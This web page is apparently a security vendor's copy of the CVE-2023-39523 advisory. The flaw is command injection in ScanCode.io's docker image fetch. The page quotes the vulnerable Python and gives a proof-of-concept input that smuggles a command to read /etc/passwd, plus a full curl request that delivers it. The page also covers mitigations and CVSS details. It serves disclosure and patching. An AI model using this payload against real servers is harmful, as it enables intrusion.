Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2023-39523 — scancode.io

🟡 CVSS 6.8 — Medium ⚠️ Exploit Public CWE-77 NVD
6.8
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

ScanCode.io command injection in docker image fetch process

Command Injection in docker fetch process

Summary

A possible command injection in the docker fetch process as it allows to append malicious commands in the docker_reference parameter.

Details

In the function scanpipe/pipes/fetch.py:fetch_docker_image[1] the parameter docker_reference is user controllable. The docker_reference variable is then passed to the vulnerable function get_docker_image_platform.

```python

def fetch_docker_image(docker_reference, to=None):

"""

code snipped ....

"""

platform_args = []

platform = get_docker_image_platform(docker_reference) # User controlled docker_reference passed

"""

code snipped...

"""

```

However, the get_docker_image_plaform function constructs a shell command with the passed docker_reference. The pipes.run_command then executes the shell command without any prior sanitization, making the function vulnerable to command injections.

```python

def get_docker_image_platform(docker_reference):

"""

Return a platform mapping of a docker reference.

If there are more than one, return the first one by default.

"""

skopeo_executable = _get_skopeo_location()

"""

Constructing a shell command with user controlled variable docker_reference

"""

cmd = (

f"{skopeo_executable} inspect --insecure-policy --raw --no-creds "

f"{docker_reference}"

)

logger.info(f"Fetching image os/arch data: {cmd}")

exitcode, output = pipes.run_command(cmd) # Executing command

logger.info(output)

if exitcode != 0:

raise FetchDockerImageError(output)

```

A malicious user who is able to create or add inputs to a project can inject commands. Although the command injections are blind and the user will not receive direct feedback without logs, it is still possible to cause damage to the server/container. The vulnerability appears for example if a malicious user adds a semicolon after the input of docker://;, it would allow appending malicious commands.

PoC

1. Create a new project with following input docker://;echo${IFS}"PoC"${IFS}&&cat${IFS}/etc/passwd in the filed Download URLs

![image](https://user-images.githubusercontent.com/122313513/258454691-7cabe100-f82d-44b9-99f2-5d6a0949e6c4.png)

2. Check docker logs to see the command execution

![image](https://user-images.githubusercontent.com/122313513/258455082-d7590b16-6fcb-4041-949f-2e20959db713.png)

```bash

curl -i -s -k -X $'POST' \

-H $'Host: localhost' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: multipart/form-data; boundary=---------------------------2742275543734015476190112060' -H $'Content-Length: 923' -H $'Origin: http://localhost' -H $'DNT: 1' -H $'Connection: close' -H $'Referer: http://localhost/project/add/' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-Fetch-Dest: document' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-User: ?1' \

-b $'csrftoken=7H2chgA7jPHnXK0NNPftIoCW9z8SabKR' \

--data-binary $'-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"csrfmiddlewaretoken\"\x0d\x0a\x0d\x0ayslGuNnvWloFUEUCWI5VlMuZ60ZDDSkFvZdIBTNs50VSHeKfznaeT0WL5pXlDTUm\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"name\"\x0d\x0a\x0d\x0apoc\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"input_files\"; filename=\"\"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"input_urls\"\x0d\x0a\x0d\x0adocker://;echo${IFS}\"PoC\"${IFS}&&cat${IFS}/etc/passwd\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"pipeline\"\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"execute_now\"\x0d\x0a\x0d\x0aon\x0d\x0a-----------------------------2742275543734015476190112060--\x0d\x0a' \

$'http://localhost/project/add/'

```

Mitigations

The docker_reference input should be sanitized to avoid command injections and it is not recommend to create commands with user controlled input directly.

Tested on:

  • Commit: Latest commit [bda3a70e0b8cd95433928db1fd4b23051bc7b7eb]
  • OS: Ubuntu Linux Kernel 5.19.0

References

[1] https://github.com/nexB/scancode.io/blob/main/scanpipe/pipes/fetch.py#L185

How this vulnerability can be exploited

This issue can be reached from an adjacent network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality low, integrity low, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H

  • Attack vector: Adjacent network — the attacker has to sit on the same local or logical network.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: Low — limited, and the attacker does not choose what is affected.
  • Integrity impact: Low — limited, and the attacker does not choose what is affected.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2023-39523 is classified as CWE-77: Command Injection. User input is placed into a command that the system interprets, allowing extra commands to be appended to the intended one.

Affected software

CVE-2023-39523 is recorded against 2 packages.

  • scancode.io (fixed in 32.5.1)
  • scancodeio (fixed in 32.5.1)

Timeline and source

Published on 7 August 2023 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com
github.com
github.com
github.com
github.com
github.com
github.com
github.com

Other advisories for this package

scancode.io has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-77: Command Injection) in other software:

Details

Severity MEDIUM
CVSS Score 6.8
CVSS Vector CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H
CWE CWE-77
Public Exploit ⚠️ Yes
Source NVD
Published 2023-08-07
Updated 2026-08-20
Modified 2026-06-17

Affected Packages

Software From version Fixed in
scancode.io 32.5.1
scancodeio 32.5.1

Similar Threats

Exploit Protection

Are you running scancode.io?

CVE-2023-39523 carries CVSS 6.8 Medium rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2023-39523 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2023